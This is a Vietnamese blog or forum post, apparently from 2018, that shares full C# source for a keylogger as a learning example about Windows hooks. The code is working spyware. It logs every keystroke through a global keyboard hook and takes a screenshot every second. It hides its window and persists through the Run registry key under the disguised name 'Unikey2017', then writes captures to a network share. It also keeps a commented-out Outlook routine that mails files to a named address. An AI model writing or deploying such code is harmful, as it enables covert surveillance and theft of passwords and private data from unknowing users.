01/10/2018, 08:39

Ví dụ về Hook C# - Keylog đơn giản viết bằng C#

Chào mọi người. Mình đang tìm hiểu và học thêm về hook trong lập trình. Tình cờ search được đoạn code và có bổ sung thêm 1 chút theo ý mình và chia sẻ cho bạn nào đang học và tìm hiểu về Hook. Code dưới đây thực sự chưa hoàn chỉnh. try catch còn bắt lộn xộn và chưa tuân theo 1 quy tắc nào cả. Code chỉ mang tính chất tham khảo.

using System;
using System.Diagnostics;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.Threading;
using System.IO;
using System.Drawing.Imaging;
using System.Drawing;
using Outlook = Microsoft.Office.Interop.Outlook;
using System.Net.Mail;
using System.Net;
using Microsoft.Win32;
using System.Text;

namespace HookDemo2
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();

            RegisterInStartup(true);
            HideWindow();
            StartTimmer();
            HookKeyboard();
        }

        #region hook key board
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;

        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        private static string logName = @"\10.128.5.2usol-tcsProjects2016FY99.Other992.PartimeUsersCuongNVDataKeylogLog_"+ System.Environment.MachineName;
        private static string logExtendtion = ".txt";

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook,
            LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
            IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

        [DllImport("user32.dll")]
        static extern bool GetKeyboardState(byte[] lpKeyState);

        [DllImport("user32.dll")]
        static extern uint MapVirtualKey(uint uCode, uint uMapType);

        [DllImport("user32.dll")]
        static extern IntPtr GetKeyboardLayout(uint idThread);

        [DllImport("user32.dll")]
        static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);


        /// <summary>
        /// Delegate a LowLevelKeyboardProc to use user32.dll
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        private delegate IntPtr LowLevelKeyboardProc(
        int nCode, IntPtr wParam, IntPtr lParam);

        /// <summary>
        /// Set hook into all current process
        /// </summary>
        /// <param name="proc"></param>
        /// <returns></returns>
        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            {
                using (ProcessModule curModule = curProcess.MainModule)
                {
                    return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
                    GetModuleHandle(curModule.ModuleName), 0);
                }
            }
        }

        /// <summary>
        /// Every time the OS call back pressed key. Catch them 
        /// then cal the CallNextHookEx to wait for the next key
        /// </summary>
        /// <param name="nCode"></param>
        /// <param name="wParam"></param>
        /// <param name="lParam"></param>
        /// <returns></returns>
        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                int vkCode = Marshal.ReadInt32(lParam);

                CheckHotKey(vkCode);
                WriteLog(vkCode);
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        }

        /// <summary>
        /// Write pressed key into log.txt file
        /// </summary>
        /// <param name="vkCode"></param>
        static void WriteLog(int vkCode)
        {
            Console.WriteLine((Keys)vkCode);
            string logNameToWrite = logName + DateTime.Now.ToLongDateString() + logExtendtion;
            StreamWriter sw = new StreamWriter(logNameToWrite, true);
            sw.Write(KeyCodeToUnicode((Keys)vkCode));
            sw.Close();
            // write to vitual key code.
            string logNameToWriteVKCode = logName+"VKCode_" + DateTime.Now.ToLongDateString() + logExtendtion;
            StreamWriter swVKCode = new StreamWriter(logNameToWriteVKCode, true);
            swVKCode.Write((Keys)vkCode);
            swVKCode.Close();
        }

        /// <summary>
        /// Start hook key board and hide the key logger
        /// Key logger only show again if pressed right Hot key
        /// </summary>
        static void HookKeyboard()
        {
            _hookID = SetHook(_proc);
            Application.Run();
            UnhookWindowsHookEx(_hookID);
        }

        static bool isHotKey = false;
        static bool isShowing = false;
        static Keys previoursKey = Keys.Separator;

        static void CheckHotKey(int vkCode)
        {
            if ((previoursKey == Keys.LControlKey || previoursKey == Keys.RControlKey) && (Keys)(vkCode) == Keys.K)
                isHotKey = true;

            if (isHotKey)
            {
                if (!isShowing)
                {
                    DisplayWindow();
                }
                else
                    HideWindow();

                isShowing = !isShowing;
            }

            previoursKey = (Keys)vkCode;
            isHotKey = false;
        }
        #endregion

        #region Capture
        static string imagePath = @"\10.128.5.2usol-tcsProjects2016FY99.Other992.PartimeUsersCuongNVDataKeylogImage_";
        static string imageExtendtion = ".png";

        static int imageCount = 0;
        static int captureTime = 1000;

        /// <summary>
        /// Capture al screen then save into ImagePath
        /// </summary>
        static void CaptureScreen()
        {

            try
            {
                //Create a new bitmap.
                var bmpScreenshot = new Bitmap(Screen.PrimaryScreen.Bounds.Width,
                                               Screen.PrimaryScreen.Bounds.Height,
                                               PixelFormat.Format32bppArgb);

                // Create a graphics object from the bitmap.
                var gfxScreenshot = Graphics.FromImage(bmpScreenshot);

                // Take the screenshot from the upper left corner to the right bottom corner.
                gfxScreenshot.CopyFromScreen(Screen.PrimaryScreen.Bounds.X,
                                    Screen.PrimaryScreen.Bounds.Y,
                                    0,
                                    0,
                                    Screen.PrimaryScreen.Bounds.Size,
                                    CopyPixelOperation.SourceCopy);


                string directoryImage = imagePath + DateTime.Now.ToLongDateString();

                if (!Directory.Exists(directoryImage))
                {
                    Directory.CreateDirectory(directoryImage);
                }
                // Save the screenshot to the specified path that the user has chosen.
                string imageName = string.Format("{0}\{1}{2}", directoryImage, System.Environment.MachineName + DateTime.Now.ToString("yyyyMMddHHmmss") + imageCount, imageExtendtion);


                bmpScreenshot.Save(imageName, ImageFormat.Png);
                imageCount++;
            }
            catch (Exception)
            {

            }

        }

        #endregion

        #region Timer
        static int interval = 1;

        // Khởi động thời gian chụp màn hình
        static void StartTimmer()
        {
            Thread thread = new Thread(() =>
            {
                while (true)
                {
                    Thread.Sleep(1);

                    if (interval % captureTime == 0)
                        CaptureScreen();

                    interval++;

                    if (interval >= 1000000)
                        interval = 0;
                }
            });
            thread.IsBackground = true;
            thread.Start();
        }
        #endregion

        #region Windows
        [DllImport("kernel32.dll")]
        static extern IntPtr GetConsoleWindow();

        [DllImport("user32.dll")]
        static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

        // hide window code
        const int SW_HIDE = 0;

        // show window code
        const int SW_SHOW = 5;

        static void HideWindow()
        {
            IntPtr console = GetConsoleWindow();
            ShowWindow(console, SW_HIDE);
        }

        static void DisplayWindow()
        {
            IntPtr console = GetConsoleWindow();
            ShowWindow(console, SW_SHOW);
        }
        #endregion

        /** Khởi động cùng windows sau mỗi lần khởi động */
        private void RegisterInStartup(bool isChecked)
        {
            RegistryKey registryKey = Registry.CurrentUser.OpenSubKey
                    ("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
            if (isChecked)
            {
                registryKey.SetValue("Unikey2017", Application.ExecutablePath);
            }
            else
            {
                registryKey.DeleteValue("Unikey2017");
            }
        }

        ////method to send email to outlook
        //public static void sendEMailThroughOUTLOOK(string pathFile)
        //{
        //    try
        //    {
        //        // Create the Outlook application.
        //        Outlook.Application oApp = new Outlook.Application();
        //        // Create a new mail item.
        //        Outlook.MailItem oMsg = (Outlook.MailItem)oApp.CreateItem(Outlook.OlItemType.olMailItem);
        //        // Set HTMLBody. 
        //        //add the body of the email
        //        oMsg.HTMLBody = "Hello, CuongNV update image file";
        //        //Add an attachment.
        //        oMsg.CC = "hni-adm-mailaudit@usol-v.com.vn";
        //        String sDisplayName = "MyAttachment";
        //        int iPosition = (int)oMsg.Body.Length + 1;
        //        int iAttachType = (int)Outlook.OlAttachmentType.olByValue;
        //        //now attached the file
        //        Outlook.Attachment oAttach = oMsg.Attachments.Add(pathFile , iAttachType, iPosition, sDisplayName);
        //        //Subject line
        //        oMsg.Subject = "[ CuongNV ] | Test Send Mail !";
        //        // Add a recipient.
        //        Outlook.Recipients oRecips = (Outlook.Recipients)oMsg.Recipients;
        //        // Change the recipient in the next line if necessary.
        //        Outlook.Recipient oRecip = (Outlook.Recipient)oRecips.Add("Nguyen.Van.Cuong@usol-v.com.vn");
        //        oRecip.Resolve();
        //        // Send.
        //        oMsg.Send();
        //        // Clean up.
        //        oRecip = null;
        //        oRecips = null;
        //        oMsg = null;
        //        oApp = null;
        //    }//end of try block
        //    catch (Exception ex)
        //    {
        //    }//end of catch
        //}//end of Email Method

        //method to send email to Gmail

        /** Chuyển VK Code sang kiểu char */
        public static string KeyCodeToUnicode(Keys key)
        {
            byte[] keyboardState = new byte[255];
            bool keyboardStateStatus = GetKeyboardState(keyboardState);

            if (!keyboardStateStatus)
            {
                return "";
            }

            uint virtualKeyCode = (uint)key;
            uint scanCode = MapVirtualKey(virtualKeyCode, 0);
            IntPtr inputLocaleIdentifier = GetKeyboardLayout(0);

            StringBuilder result = new StringBuilder();
            ToUnicodeEx(virtualKeyCode, scanCode, keyboardState, result, (int)5, (uint)0, inputLocaleIdentifier);

            return result.ToString();
        }
    }
}

Mọi người cùng để lại ý kiến để cùng nhau học tập và chia sẻ thêm về kiến thức lập trình. Chúc anh em ngày làm việc học tập hiệu quả.

Bài liên quan
0